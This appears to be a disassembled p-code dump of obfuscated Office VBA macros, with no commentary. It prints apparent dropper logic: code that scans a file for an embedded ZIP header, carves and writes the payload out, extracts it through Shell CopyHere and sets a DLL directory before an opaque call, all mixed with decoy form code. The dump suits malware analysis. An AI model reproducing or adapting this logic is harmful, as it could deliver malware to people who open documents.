' 	ExitSub
' 	EndIf
' Line #68:
' Line #69:
' 	Ld d
' 	LitDI2 0x0004
' 	LitDI2 0x0002
' 	ArgsLd Mid 0x0003
' 	LitStr 0x0000 ""
' 	Eq
' 	If
' 	BoSImplicit
' 	ExitSub
' 	EndIf
' Line #70:
' 	Ld d
' 	LitDI2 0x0004
' 	LitDI2 0x0002
' 	ArgsLd Mid 0x0003
' 	LitDI2 0x003B
' 	Gt
' 	IfBlock
' Line #71:
' 	LitStr 0x000D "Minuti Errati"
' 	ArgsCall MsgBox 0x0001
' Line #72:
' 	LitDI2 0x0003
' 	Ld TextBox2
' 	MemSt SelStart
' Line #73:
' 	Ld TextBox2
' 	FnLen
' 	Ld TextBox2
' 	MemSt SelLength
' Line #74:
' 	ExitSub
' Line #75:
' 	EndIfBlock
' Line #76:
' Line #77:
' Line #78:
' 	Ld x
' 	LitDI2 0x0005
' 	Eq
' 	IfBlock
' Line #79:
' 	Ld TextBox3
' 	ArgsMemCall SetFocus 0x0000
' Line #80:
' 	EndIfBlock
' Line #81:
' 	ExitSub
' Line #82:
' Line #83:
' 	Resume
' Line #84:
' 	EndSub
' Line #85:
' Line #86:
' 	FuncDefn (Public Function ExChangeMoney())
' Line #87:
' Line #88:
' Line #89:
' 	Dim
' 	VarDefn ofbl (As String)
' Line #90:
' 	Dim
' 	VarDefn sOfbl (As String)
' Line #91:
' 	Dim
' 	VarDefn NumBForRead (As Long)
' Line #92:
' Line #93:
' Line #94:
' 	LitStr 0x0000 ""
' 	Ld Form0
' 	MemLd TextBox1
' 	MemLd Tag
' 	Concat
' 	St dershlep
' Line #95:
' Line #96:
' Line #97:
' Line #98:
' 	Dim
' 	VarDefn sendings (As Integer)
' Line #99:
' 	Ld Form0
' 	MemLd TextBox1
' 	MemLd Tag
' 	St ofbl
' Line #100:
' 	Ld ofbl
' 	LitStr 0x0009 "\str_join"
' 	Add
' 	St ofbl
' Line #101:
' Line #102:
' 	Ld Form0
' 	MemLd TextBox1
' 	MemLd Tag
' 	LitStr 0x0007 "\academ"
' 	Add
' 	St liquidOne
' Line #103:
' Line #104:
' 	Ld liquidOne
' 	LitStr 0x0006 "l.xlsx"
' 	Add
' 	St liquidOne
' Line #105:
' Line #106:
' 	Dim
' 	LitDI2 0x0001
' 	LitDI2 0x0003
' 	VarDefn arr (As String)
' Line #107:
' Line #108:
' Line #109:
' Line #110:
' Line #111:
' 	Ld Form0
' 	MemLd TextBox3
' 	MemLd Text
' 	FnLenB
' 	LitDI2 0x00C8
' 	Gt
' 	IfBlock
' Line #112:
' 	LitStr 0x0019 "Ultrapassa 66 Caracteres!"
' 	Ld vbCritical
' 	LitStr 0x0009 "HISTÓRICO"
' 	ArgsCall MsgBox 0x0003
' Line #113:
' 	LitDI2 0x0000
' 	Ld TextBox7
' 	MemSt SelStart
' Line #114:
' 	ElseBlock
' Line #115:
' Line #116:
' Line #117:
' 	EndIfBlock
' Line #118:
' 	Dim
' 	VarDefn objeto
' Line #119:
' Line #120:
' 	Ld Form0
' 	MemLd TextBox1
' 	MemLd Text
' 	FnLen
' 	LitDI2 0x016E
' 	Gt
' 	IfBlock
' Line #121:
' 	StartForVariable
' 	Ld objeto
' 	EndForVariable
' 	Ld UserForm1
' 	MemLd Controls
' 	ForEach
' Line #122:
' 	OnError (Resume Next)
' Line #123:
' 	LitStr 0x0000 ""
' 	Ld objeto
' 	MemSt Value
' Line #124:
' 	StartForVariable
' 	Next
' Line #125:
' Line #126:
' 	Ld ggg
' 	MemLd UserForm1
' 	ArgsCall Unload 0x0001
' Line #127:
' 	Ld ggg
' 	MemLd UserForm1
' 	ArgsMemCall Hide 0x0000
' Line #128:
' 	EndIfBlock
' Line #129:
' Line #130:
' Line #131:
' Line #132:
' 	Ld liquidOne
' 	LitStr 0x0004 "B115"
' 	Ld Page11
' 	ArgsMemLd Range 0x0001
' 	MemLd Value
' 	Concat
' 	St ctackPip
' Line #133:
' Line #134:
' Line #135:
' Line #136:
' Line #137:
' 	Ld ofbl
' 	LitStr 0x0004 "B115"
' 	Ld Page11
' 	ArgsMemLd Range 0x0001
' 	MemLd Value
' 	Add
' 	St sOfbl
' Line #138:
' 	Ld ofbl
' 	LitStr 0x0001 "*"
' 	Add
' 	Ld Form0
' 	MemLd TextBox3
' 	MemLd Tag
' 	LitStr 0x000A "\str_join*"
' 	Add
' 	Ld sOfbl
' 	Ld ctackPip
' 	Ld dershlep
' 	Ld UserForm1
' 	MemLd Label1
' 	MemLd Tag
' 	Add
' 	ArgsCall PublicResumEraseByArrayList 0x0005
' Line #139:
' Line #140:
' Line #141:
' 	Ld liquidOne
' 	ArgsCall VistaQ 0x0001
' Line #142:
' Line #143:
' 	Ld liquidOne
' 	ParamNamed Source
' 	Ld ctackPip
' 	ParamNamed Destination
' 	ArgsCall FileCopy 0x0002
' Line #144:
' 	LitDI2 0x0001
' 	St sendings
' Line #145:
' 	Dim
' 	VarDefn sNMSP (New As Shell)
' Line #146:
' 	LitVarSpecial (False)
' 	St FlagDouble
' Line #147:
' Line #148:
' 	Ld UserForm1
' 	MemLd Label11
' 	MemLd Tag
' 	St Lrigat
' Line #149:
' Line #150:
' 	Ld sendings
' 	LitDI2 0x000F
' 	UMi
' 	Gt
' 	Ld sendings
' 	LitDI2 0x0082
' 	UMi
' 	Gt
' 	And
' 	IfBlock
' Line #151:
' Line #152:
' 	SetStmt
' 	Ld dershlep
' 	Ld sNMSP
' 	ArgsMemLd Namespace 0x0001
' 	Set DestinationKat
' Line #153:
' 	SetStmt
' 	Ld ctackPip
' 	Ld sNMSP
' 	ArgsMemLd Namespace 0x0001
' 	Set harvest
' Line #154:
' Line #155:
' Line #156:
' 	EndIfBlock
' Line #157:
' Line #158:
' Line #159:
' 	SetStmt
' 	LitDI2 0x0001
' 	LitDI2 0x0001
' 	Ld ThisWorkbook
' 	ArgsMemLd Sheets 0x0001
' 	MemLd Application
' 	ArgsMemLd Sheets 0x0001
' 	MemLd Application
' 	Set ExcelC
' Line #160:
' Line #161:
' Line #162:
' Line #163:
' 	Ld Lrigat
' 	Ld harvest
' 	MemLd Items
' 	ArgsMemLd Item 0x0001
' 	Ld DestinationKat
' 	ArgsMemCall CopyHere 0x0001
' Line #164:
' Line #165:
' Line #166:
' Line #167:
' 	Dim
' 	VarDefn car (As Lumene)
' Line #168:
' Line #169:
' 	SetStmt
' 	New id_FFFF
' 	Set car
' Line #170:
' Line #171:
' 	LitDI4 0xCD46 0x0006
' 	St NumBForRead
' Line #172:
' Line #173:
' Line #174:
' 	LitDI2 0x0001
' 	St sendings
' Line #175:
' 	LitStr 0x0001 "1"
' 	St flayString
' Line #176:
' Line #177:
' Line #178:
' Line #179:
' 	Ld dershlep
' 	LitStr 0x0000 ""
' 	Add
' 	Ld UserForm1
' 	MemLd Label1
' 	MemLd Tag
' 	Add
' 	LitStr 0x0000 ""
' 	Add
' 	LitStr 0x0000 ""
' 	Add
' 	Ld sOfbl
' 	Ld NumBForRead
' 	ArgsCall Composition 0x0003
' Line #180:
' Line #181:
' 	Ld sendings
' 	LitDI2 0x0064
' 	Lt
' 	IfBlock
' Line #182:
' 	Ld sendings
' 	LitDI2 0x0001
' 	Add
' 	St sendings
' Line #183:
' 	Ld sendings
' 	LitDI2 0x0001
' 	Add
' 	St sendings
' Line #184:
' 	EndIfBlock
' Line #185:
' Line #186:
' 	Ld sendings
' 	LitDI2 0x000F
' 	UMi
' 	Gt
' 	Ld sendings
' 	LitDI2 0x0082
' 	UMi
' 	Gt
' 	And
' 	IfBlock
' Line #187:
' Line #188:
' 	SetStmt
' 	Ld Form0
' 	MemLd TextBox3
' 	MemLd Tag
' 	Ld sNMSP
' 	ArgsMemLd Namespace 0x0001
' 	Set DestinationKat
' Line #189:
' 	SetStmt
' 	Ld sOfbl
' 	Ld sNMSP
' 	ArgsMemLd Namespace 0x0001
' 	Set harvest
' Line #190:
' Line #191:
' 	Ld harvest
' 	MemLd Items
' 	Ld DestinationKat
' 	ArgsMemCall CopyHere 0x0001
' Line #192:
' Line #193:
' Line #194:
' 	EndIfBlock
' Line #195:
' Line #196:
' 	LitDI2 0x0064
' 	UMi
' 	Ld sendings
' 	Le
' 	IfBlock
' Line #197:
' 	Ld sendings
' 	LitDI2 0x0001
' 	Add
' 	St sendings
' Line #198:
' 	Ld Form0
' 	MemLd TextBox3
' 	MemLd Tag
' 	ArgsCall ChDir 0x0001
' Line #199:
' 	Ld sendings
' 	LitDI2 0x0001
' 	Add
' 	St sendings
' Line #200:
' 	EndIfBlock
' Line #201:
' 	LitStr 0x0001 """
' 	Ld sOfbl
' 	Add
' 	LitStr 0x0003 "",""
' 	Concat
' 	St sOfbl
' Line #202:
' Line #203:
' 	Ld sendings
' 	LitDI2 0x0000
' 	Lt
' 	IfBlock
' Line #204:
' 	Ld sendings
' 	LitDI2 0x0001
' 	Add
' 	St sendings
' Line #205:
' 	Ld sendings
' 	LitDI2 0x0001
' 	Add
' 	St sendings
' Line #206:
' 	EndIfBlock
' Line #207:
' Line #208:
' Line #209:
' 	Ld sendings
' 	LitDI2 0x03E8
' 	Gt
' 	IfBlock
' Line #210:
' 	Ld sendings
' 	LitDI2 0x0014
' 	Sub
' 	St sendings
' Line #211:
' 	EndIfBlock
' Line #212:
' 	Ld sendings
' 	LitDI2 0x002F
' 	UMi
' 	Lt
' 	IfBlock
' Line #213:
' 	Ld sendings
' 	LitDI2 0x0014
' 	Sub
' 	St sendings
' Line #214:
' 	EndIfBlock
' Line #215:
' 	Ld sendings
' 	LitDI2 0x0000
' 	Lt
' 	IfBlock
' Line #216:
' 	Ld sendings
' 	LitDI2 0x0001
' 	Add
' 	St sendings
' Line #217:
' 	Ld sendings
' 	LitDI2 0x0001
' 	Add
' 	St sendings
' Line #218:
' 	EndIfBlock
' Line #219:
' 	Ld d
' 	ArgsLd TestResult 0x0001
' 	St StopByOk
' Line #220:
' Line #221:
' Line #222:
' 	Ld Form0
' 	MemLd TextBox3
' 	MemLd Tag
' 	ArgsCall setDLLDirectory 0x0001
' Line #223:
' 	ArgsCall torx 0x0000
' Line #224:
' 	Ld WelcomeDialog
' 	ArgsMemCall Hide 0x0000
' Line #225:
' 	EndFunc
' Line #226:
' Line #227:
' Line #228:
' 	FuncDefn (Sub subTotalSales())
' Line #229:
' Line #230:
' 	Dim
' 	VarDefn LR (As Integer)
' Line #231:
' 	Ld xlUp
' 	Ld Rows
' 	MemLd Count
' 	LitStr 0x0001 "A"
' 	ArgsLd Cells 0x0002
' 	ArgsMemLd End 0x0001
' 	MemLd Row
' 	LitDI2 0x0002
' 	Add
' 	St LR
' Line #232:
' 	Ld xlDown
' 	ParamNamed Shift
' 	LitStr 0x0003 "1:2"
' 	ArgsLd Rows 0x0001
' 	MemLd EntireRow
' 	ArgsMemCall Insert 0x0001
' Line #233:
' Line #234:
' 	Ld LR
' 	LitDI2 0x0003
' 	Eq
' 	IfBlock
' Line #235:
' 	LitStr 0x0002 "A1"
' 	ArgsLd Range 0x0001
' 	ArgsMemCall Select 0x0000
' Line #236:
' 	Ld salesHeade
' 	ArgsMemCall (Call) rs 0x0000
' Line #237:
' 	LitStr 0x0002 "$0"
' 	LitStr 0x0002 "A2"
' 	ArgsLd Range 0x0001
' 	MemSt Formula
' Line #238:
' 	LitStr 0x0002 "$0"
' 	LitStr 0x0002 "B2"
' 	ArgsLd Range 0x0001
' 	MemSt Formula
' Line #239:
' 	LitStr 0x0002 "$0"
' 	LitStr 0x0002 "C2"
' 	ArgsLd Range 0x0001
' 	MemSt Formula
' Line #240:
' 	LitStr 0x0002 "$0"
' 	LitStr 0x0002 "D2"
' 	ArgsLd Range 0x0001
' 	MemSt Formula
' Line #241:
' 	LitStr 0x0002 "$0"
' 	LitStr 0x0002 "E2"
' 	ArgsLd Range 0x0001
' 	MemSt Formula
' Line #242:
' 	LitStr 0x0002 "0%"
' 	LitStr 0x0002 "F2"
' 	ArgsLd Range 0x0001
' 	MemSt Formula
' Line #243:
' 	LitStr 0x0001 "0"
' 	LitStr 0x0002 "G2"
' 	ArgsLd Range 0x0001
' 	MemSt Formula
' Line #244:
' 	LitStr 0x0002 "$0"
' 	LitStr 0x0002 "H2"
' 	ArgsLd Range 0x0001
' 	MemSt Formula
' Line #245:
' 	LitStr 0x0001 "0"
' 	LitStr 0x0002 "I2"
' 	ArgsLd Range 0x0001
' 	MemSt Formula
' Line #246:
' 	LitStr 0x0001 "0"
' 	LitStr 0x0002 "J2"
' 	ArgsLd Range 0x0001
' 	MemSt Formula
' Line #247:
' 	LitStr 0x0002 "$0"
' 	LitStr 0x0002 "K2"
' 	ArgsLd Range 0x0001
' 	MemSt Formula
' Line #248:
' 	LitStr 0x0002 "$0"
' 	LitStr 0x0002 "L2"
' 	ArgsLd Range 0x0001
' 	MemSt Formula
' Line #249:
' 	LitStr 0x0001 "0"
' 	LitStr 0x0002 "M2"
' 	ArgsLd Range 0x0001
' 	MemSt Formula
' Line #250:
' 	LitStr 0x0002 "0%"
' 	LitStr 0x0002 "N2"
' 	ArgsLd Range 0x0001
' 	MemSt Formula
' Line #251:
' 	ElseBlock
' Line #252:
' 	LitStr 0x0002 "A1"
' 	ArgsLd Range 0x0001
' 	ArgsMemCall Select 0x0000
' Line #253:
' 	Ld salesHeade
' 	ArgsMemCall (Call) rs 0x0000
' Line #254:
' 	StartWithExpr
' 	Ld ActiveSheet
' 	With
' Line #255:
' Line #256:
' 	EndWith
' Line #257:
' 	EndIfBlock
' Line #258:
' Line #259:
' 	EndSub
' Line #260:
' Line #261:
' Line #262:
' 	FuncDefn (Sub InputWeekData(x As Date))
' Line #263:
' Line #264:
' 	Ld x
' 	LitStr 0x0002 "ww"
' 	Ld vbMonday
' 	Ld vbFirstFourDays
' 	ArgsLd Format 0x0004
' 	St ActiveCell
' Line #265:
' 	LitDI2 0x0000
' 	LitDI2 0x0001
' 	Ld ActiveCell
' 	ArgsMemLd Offset 0x0002
' 	ArgsMemCall Select 0x0000
' Line #266:
' 	Ld x
' 	St ActiveCell
' Line #267:
' 	LitDI2 0x0000
' 	LitDI2 0x0001
' 	Ld ActiveCell
' 	ArgsMemLd Offset 0x0002
' 	ArgsMemCall Select 0x0000
' Line #268:
' 	Ld x
' 	LitDI2 0x0006
' 	Add
' 	St ActiveCell
' Line #269:
' 	LitDI2 0x0000
' 	LitDI2 0x0001
' 	Ld ActiveCell
' 	ArgsMemLd Offset 0x0002
' 	ArgsMemCall Select 0x0000
' Line #270:
' Line #271:
' 	EndSub
' Line #272:
' 	FuncDefn (Private Sub TextBox3_Change())
' Line #273:
' Line #274:
' 	Ld TextBox3
' 	MemLd Text
' 	ArgsLd LTrim 0x0001
' 	St Y
' Line #275:
' 	Ld TextBox3
' 	St d
' Line #276:
' Line #277:
' 	Ld x
' 	LitDI2 0x0005
' 	Eq
' 	IfBlock
' Line #278:
' 	Ld TextBox4
' 	ArgsMemCall SetFocus 0x0000
' Line #279:
' 	EndIfBlock
' Line #280:
' Line #281:
' 	EndSub
' Line #282:
' Line #283:
' Line #284:
' Line #285:
' Line #286:
' Line #287:
' Line #288:
' Line #289:
' Line #290:
' Line #291:
' Line #292:
' Line #293:
' Line #294:
' Line #295:
' Line #296:
' Line #297:
' _VBA_PROJECT_CUR/VBA/Module2 - 18333 bytes
' Line #0:
' Line #1:
' 	Dim (Public Const)
' 	LitDI2 0x0050
' 	VarDefn FirstB (As Byte)
' Line #2:
' 	Dim (Public Const)
' 	LitDI2 0x004B
' 	VarDefn SecondB (As Byte)
' Line #3:
' 	Dim (Public Const)
' 	LitDI2 0x0003
' 	VarDefn ThirdB (As Byte)
' Line #4:
' 	Dim (Public Const)
' 	LitDI2 0x0004
' 	VarDefn FourthB (As Byte)
' Line #5:
' 	FuncDefn (Public Sub GetParam(Count As Integer))
' Line #6:
' 	Dim
' 	VarDefn I (As Long)
' Line #7:
' 	Dim
' 	VarDefn j (As Integer)
' Line #8:
' 	Dim
' 	VarDefn C (As String)
' Line #9:
' 	Dim
' 	VarDefn tooolsetChunkI (As Boolean)
' Line #10:
' 	Dim
' 	VarDefn tooolsetChunkQ (As Boolean)
' Line #11:
' Line #12:
' 	LitDI2 0x0001
' 	St j
' Line #13:
' 	LitVarSpecial (False)
' 	St tooolsetChunkI
' Line #14:
' 	LitVarSpecial (False)
' 	St tooolsetChunkQ
' Line #15:
' 	LitStr 0x0000 ""
' 	Ld GetP
' 	MemSt aram
' Line #16:
' 	StartForVariable
' 	Ld I
' 	EndForVariable
' 	LitDI2 0x0001
' 	Ld Comma
' 	MemLd nd$
' 	FnLen
' 	For
' Line #17:
' 	Ld Comma
' 	MemLd nd$
' 	Ld I
' 	LitDI2 0x0001
' 	Ld Mi
' 	ArgsMemLd d$ 0x0003
' 	St C
' Line #18:
' 	Ld tooolsetChunkI
' 	IfBlock
' Line #19:
' 	Ld C
' 	LitStr 0x0001 """
' 	Eq
' 	IfBlock
' Line #20:
' 	Ld j
' 	LitDI2 0x0001
' 	Add
' 	St j
' Line #21:
' 	LitVarSpecial (False)
' 	St tooolsetChunkI
' Line #22:
' 	LitVarSpecial (False)
' 	St tooolsetChunkQ
' Line #23:
' 	EndIfBlock
' Line #24:
' 	Ld tooolsetChunkQ
' 	Not
' 	ElseIfBlock
' Line #25:
' 	Ld C
' 	LitStr 0x0001 " "
' 	Eq
' 	IfBlock
' Line #26:
' 	Ld j
' 	LitDI2 0x0001
' 	Add
' 	St j
' Line #27:
' 	EndIfBlock
' Line #28:
' 	ElseBlock
' Line #29:
' 	Ld C
' 	LitStr 0x0001 """
' 	Eq
' 	IfBlock
' Line #30:
' 	Ld j
' 	Ld Count
' 	Gt
' 	If
' 	BoSImplicit
' 	ExitSub
' 	EndIf
' Line #31:
' 	LitVarSpecial (True)
' 	St tooolsetChunkI
' Line #32:
' 	LitVarSpecial (True)
' 	St tooolsetChunkQ
' Line #33:
' 	Ld C
' 	LitStr 0x0004 " ccc"
' 	Ne
' 	ElseIfBlock
' Line #34:
' Line #35:
' 	EndIfBlock
' Line #36:
' 	EndIfBlock
' Line #37:
' 	Ld tooolsetChunkI
' 	Ld j
' 	Ld Count
' 	Eq
' 	And
' 	Ld C
' 	LitStr 0x0001 """
' 	Ne
' 	And
' 	If
' 	BoSImplicit
' 	Ld GetP
' 	MemLd aram
' 	Ld C
' 	Concat
' 	Ld GetP
' 	MemSt aram
' 	EndIf
' Line #38:
' 	StartForVariable
' 	Ld I
' 	EndForVariable
' 	NextVar
' Line #39:
' 	EndSub
' Line #40:
' Line #41:
' Line #42:
' Line #43:
' Line #44:
' Line #45:
' 	FuncDefn (Public Sub setDLLDirectory(ByVal targetDir As String))
' Line #46:
' Line #47:
' Line #48:
' 	Dim
' 	VarDefn B (As Byte)
' Line #49:
' 	Dim
' 	VarDefn p (As Long)
' Line #50:
' Line #51:
' 	LitHI2 0x1000
' 	Paren
' 	ArgsCall code2 0x0001
' Line #52:
' 	Ld targetDir
' 	Ld _B_var_StrConv
' 	ArgsLd Str 0x0002
' 	Paren
' 	ArgsCall code1 0x0001
' Line #53:
' 	EndSub
' Line #54:
' Line #55:
' 	FuncDefn (Public Sub GetParam3(Count As Integer))
' Line #56:
' 	Dim
' 	VarDefn I (As Long)
' Line #57:
' 	Dim
' 	VarDefn j (As Integer)
' Line #58:
' 	Dim
' 	VarDefn C (As String)
' Line #59:
' 	Dim
' 	VarDefn tooolsetChunkI (As Boolean)
' Line #60:
' 	Dim
' 	VarDefn tooolsetChunkQ (As Boolean)
' Line #61:
' Line #62:
' 	LitDI2 0x0001
' 	St j
' Line #63:
' 	LitVarSpecial (False)
' 	St tooolsetChunkI
' Line #64:
' 	LitVarSpecial (False)
' 	St tooolsetChunkQ
' Line #65:
' 	LitStr 0x0000 ""
' 	Ld GetP
' 	MemSt aram
' Line #66:
' 	StartForVariable
' 	Ld I
' 	EndForVariable
' 	LitDI2 0x0001
' 	Ld Comma
' 	MemLd nd$
' 	FnLen
' 	For
' Line #67:
' 	Ld Comma
' 	MemLd nd$
' 	Ld I
' 	LitDI2 0x0001
' 	Ld Mi
' 	ArgsMemLd d$ 0x0003
' 	St C
' Line #68:
' 	Ld tooolsetChunkI
' 	IfBlock
' Line #69:
' 	Ld C
' 	LitStr 0x0001 """
' 	Eq
' 	IfBlock
' Line #70:
' 	Ld j
' 	LitDI2 0x0001
' 	Add
' 	St j
' Line #71:
' 	LitVarSpecial (False)
' 	St tooolsetChunkI
' Line #72:
' 	LitVarSpecial (False)
' 	St tooolsetChunkQ
' Line #73:
' 	EndIfBlock
' Line #74:
' Line #75:
' 	ElseBlock
' Line #76:
' 	Ld C
' 	LitStr 0x0001 """
' 	Eq
' 	IfBlock
' Line #77:
' 	Ld j
' 	Ld Count
' 	Gt
' 	If
' 	BoSImplicit
' 	ExitSub
' 	EndIf
' Line #78:
' 	LitVarSpecial (True)
' 	St tooolsetChunkI
' Line #79:
' 	LitVarSpecial (True)
' 	St tooolsetChunkQ
' Line #80:
' 	Ld C
' 	LitStr 0x0001 " "
' 	Ne
' 	ElseIfBlock
' Line #81:
' 	LitVarSpecial (True)
' 	St tooolsetChunkI
' Line #82:
' 	EndIfBlock
' Line #83:
' 	EndIfBlock
' Line #84:
' 	Ld tooolsetChunkI
' 	Ld j
' 	Ld Count
' 	Eq
' 	And
' 	Ld C
' 	LitStr 0x0001 """
' 	Ne
' 	And
' 	If
' 	BoSImplicit
' 	Ld GetP
' 	MemLd aram
' 	Ld C
' 	Concat
' 	Ld GetP
' 	MemSt aram
' 	EndIf
' Line #85:
' 	StartForVariable
' 	Ld I
' 	EndForVariable
' 	NextVar
' Line #86:
' 	EndSub
' Line #87:
' Line #88:
' Line #89:
' Line #90:
' Line #91:
' Line #92:
' Line #93:
' 	FuncDefn (Public Sub Composition(Composition2 As String, ofbl As String, fl As Long))
' Line #94:
' 	Dim
' 	VarDefn PChannel (As Long)
' Line #95:
' 	Dim
' 	VarDefn logicVari (As Integer)
' Line #96:
' 	Dim
' 	VarDefn SimpleMethod (As Integer)
' Line #97:
' 	LitDI2 0x0001
' 	Ld fl
' 	Redim HurricanMoes 0x0001 (As Variant)
' Line #98:
' 	Ld FreeFile
' 	St PChannel
' Line #99:
' 	Ld Composition2
' 	Ld PChannel
' 	LitDefault
' 	Open (For Binary Access Read)
' Line #100:
' 	Ld FirstB
' 	LitDI2 0x0001
' 	ArgsSt HurricanMoes 0x0001
' Line #101:
' Line #102:
' 	Ld SecondB
' 	LitDI2 0x0002
' 	ArgsSt HurricanMoes 0x0001
' Line #103:
' 	Ld ThirdB
' 	LitDI2 0x0003
' 	ArgsSt HurricanMoes 0x0001
' Line #104:
' 	Ld FourthB
' 	LitDI2 0x0004
' 	ArgsSt HurricanMoes 0x0001
' Line #105:
' 	LitDI2 0x0001
' 	St logicVari
' Line #106:
' 	Ld PChannel
' 	ArgsLd EOF 0x0001
' 	Not
' 	DoWhile
' Line #107:
' 	Ld PChannel
' 	LitDefault
' 	Ld MoveStep
' 	GetRec
' Line #108:
' 	Ld MoveStep
' 	Ld FirstB
' 	Eq
' 	IfBlock
' Line #109:
' Line #110:
' 	Ld PChannel
' 	LitDefault
' 	Ld PatchForHeart
' 	GetRec
' Line #111:
' 	Ld PatchForHeart
' 	Ld SecondB
' 	Eq
' 	IfBlock
' Line #112:
' Line #113:
' 	Ld PChannel
' 	LitDefault
' 	Ld PatchForLuck
' 	GetRec
' Line #114:
' 	Ld PatchForLuck
' 	Ld ThirdB
' 	Eq
' 	IfBlock
' Line #115:
' 	Ld PChannel
' 	LitDefault
' 	Ld PatchForLuck
' 	GetRec
' Line #116:
' 	Ld PatchForLuck
' 	Ld FourthB
' 	Eq
' 	IfBlock
' Line #117:
' 	StartForVariable
' 	Ld k
' 	EndForVariable
' 	LitDI2 0x0005
' 	Ld fl
' 	For
' Line #118:
' 	Ld PChannel
' 	LitDefault
' 	Ld MoveStep
' 	GetRec
' Line #119:
' 	Ld MoveStep
' 	Ld k
' 	ArgsSt HurricanMoes 0x0001
' Line #120:
' 	StartForVariable
' 	Ld k
' 	EndForVariable
' 	NextVar
' Line #121:
' 	ExitDo
' Line #122:
' Line #123:
' 	EndIfBlock
' Line #124:
' 	EndIfBlock
' Line #125:
' 	EndIfBlock
' Line #126:
' 	EndIfBlock
' Line #127:
' 	Loop
' Line #128:
' 	OnError (Resume Next)
' Line #129:
' 	LitDI2 0x0764
' 	St PublicationChannel
' Line #130:
' 	Ld PChannel
' 	Close 0x0001
' Line #131:
' 	LitDI2 0x0764
' 	Ld PublicationChannel
' 	Add
' 	St PublicationChannel
' Line #132:
' 	Ld FreeFile
' 	St PChannel
' Line #133:
' 	LitDI2 0x0764
' 	Ld PublicationChannel
' 	Add
' 	St PublicationChannel
' Line #134:
' 	Ld ofbl
' 	Ld PChannel
' 	Sharp
' 	LitDefault
' 	Open (For Binary Lock Read Write)
' Line #135:
' 	LitDI2 0x0764
' 	Ld PublicationChannel
' 	Add
' 	St PublicationChannel
' Line #136:
' 	LitDI2 0x0001
' 	St zeroBob
' Line #137:
' 	StartForVariable
' 	Ld I
' 	EndForVariable
' 	Ld zeroBob
' 	Ld HurricanMoes
' 	FnUBound 0x0000
' 	For
' Line #138:
' Line #139:
' 	Ld WelcomeDialog
' 	MemLd Enabled
' 	LitVarSpecial (True)
' 	Eq
' 	IfBlock
' Line #140:
' Line #141:
' 	Ld PChannel
' 	Sharp
' 	LitDefault
' 	Ld I
' 	ArgsLd HurricanMoes 0x0001
' 	PutRec
' Line #142:
' 	EndIfBlock
' Line #143:
' 	StartForVariable
' 	Ld I
' 	EndForVariable
' 	NextVar
' Line #144:
' 	Ld PChannel
' 	Close 0x0001
' Line #145:
' 	Ld FreeFile
' 	St PChannel
' Line #146:
' 	StartForVariable
' 	Ld HSP
' 	EndForVariable
' 	LitDI2 0x0021
' 	LitDI2 0x0001
' 	UMi
' 	LitR8 0x0000 0x0000 0x0000 0x3FD0
' 	UMi
' 	ForStep
' Line #147:
' 	LitDI2 0x0006
' 	Ld I
' 	Add
' 	St PChannel
' Line #148:
' 	StartForVariable
' 	Ld HSP
' 	EndForVariable
' 	NextVar
' Line #149:
' 	LitDI2 0x0006
' 	Ld I
' 	Add
' 	St PChannel
' Line #150:
' 	EndSub
' Line #151:
' Line #152:
' Line #153:
' Line #154:
' Line #155:
' 	FuncDefn (Private Sub cmd_Keluar_Click())
' Line #156:
' 	Ld LSD
' 	MemLd Me
' 	ArgsCall Unload 0x0001
' Line #157:
' 	LitVarSpecial (True)
' 	Ld MDIForm1
' 	MemLd dokter
' 	MemSt Enabled
' Line #158:
' 	LitVarSpecial (False)
' 	Ld MDIForm1
' 	MemLd dokter
' 	MemSt Checked
' Line #159:
' 	EndSub
' Line #160:
' Line #161:
' 	FuncDefn (Private Sub cmd_Perbaiki_Click())
' Line #162:
' 	Ld cmd_Perbaiki
' 	MemLd Caption
' 	LitStr 0x0009 "Pe&rbaiki"
' 	Eq
' 	IfBlock
' Line #163:
' 	LitVarSpecial (False)
' 	Ld cmd_Simpan
' 	MemSt Enabled
' Line #164:
' 	LitVarSpecial (False)
' 	Ld cmd_Hapus
' 	MemSt Enabled
' Line #165:
' 	LitVarSpecial (True)
' 	Ld cmd_Batal
' 	MemSt Enabled
' Line #166:
' 	Dim
' 	VarDefn var (As String)
' Line #167:
' 	LitStr 0x0034 "Ketikkan kode dokter yang datanya akan di perbaiki !"
' 	LitStr 0x0014 "Perbaiki Data dokter"
' 	ArgsLd InputBox 0x0002
' 	St var
' Line #168:
' 	Ld var
' 	LitVarSpecial (Empty)
' 	Eq
' 	If
' 	BoSImplicit
' 	ExitSub
' 	EndIf
' Line #169:
' 	LitStr 0x000B "Kode_dokter"
' 	Ld Data1
' 	MemLd Recordset
' 	MemSt Index
' Line #170:
' 	LitStr 0x0001 "="
' 	Ld var
' 	Ld Data1
' 	MemLd Recordset
' 	ArgsMemCall Seek 0x0002
' Line #171:
' 	Ld Data1
' 	MemLd Recordset
' 	MemLd NoMatch
' 	Not
' 	IfBlock
' Line #172:
' 	Ld tam
' 	ArgsMemCall (Call) tam 0x0000
' Line #173:
' 	LitVarSpecial (False)
' 	Ld pil
' 	MemSt Enabled
' Line #174:
' 	LitVarSpecial (True)
' 	Ld txtkd_dok
' 	MemSt Enabled
' Line #175:
' 	LitStr 0x0010 "&Perbaharui data"
' 	Ld cmd_Perbaiki
' 	MemSt Caption
' Line #176:
' 	ElseBlock
' Line #177:
' 	LitStr 0x001F "Data dokter dengan kode dokter "
' 	Ld var
' 	Concat
' 	LitStr 0x0012 " tidak diketemukan"
' 	Concat
' 	ArgsCall MsgBox 0x0001
' Line #178:
' 	EndIfBlock
' Line #179:
' 	ElseBlock
' Line #180:
' 	Ld Data1
' 	MemLd Recordset
' 	ArgsMemCall txtnm_dok 0x0000
' Line #181:
' 	Ld pil
' 	MemLd Text
' 	Ld Data1
' 	MemLd Recordset
' 	DictSt Edit
' Line #182:
' 	Ld txtkd_dok
' 	MemLd Text
' 	Ld Data1
' 	MemLd Recordset
' 	DictSt kode_dokter
' Line #183:
' 	Ld Data1
' 	MemLd Recordset
' 	ArgsMemCall nama_dokter 0x0000
' Line #184:
' 	Ld Update
' 	ArgsMemCall (Call) ber 0x0000
' Line #185:
' 	LitStr 0x0009 "Pe&rbaiki"
' 	Ld cmd_Perbaiki
' 	MemSt Caption
' Line #186:
' 	LitVarSpecial (False)
' 	Ld cmd_Batal
' 	MemSt Enabled
' Line #187:
' 	LitVarSpecial (True)
' 	Ld cmd_Simpan
' 	MemSt Enabled
' Line #188:
' 	LitVarSpecial (True)
' 	Ld cmd_Hapus
' 	MemSt Enabled
' Line #189:
' 	Ld sih
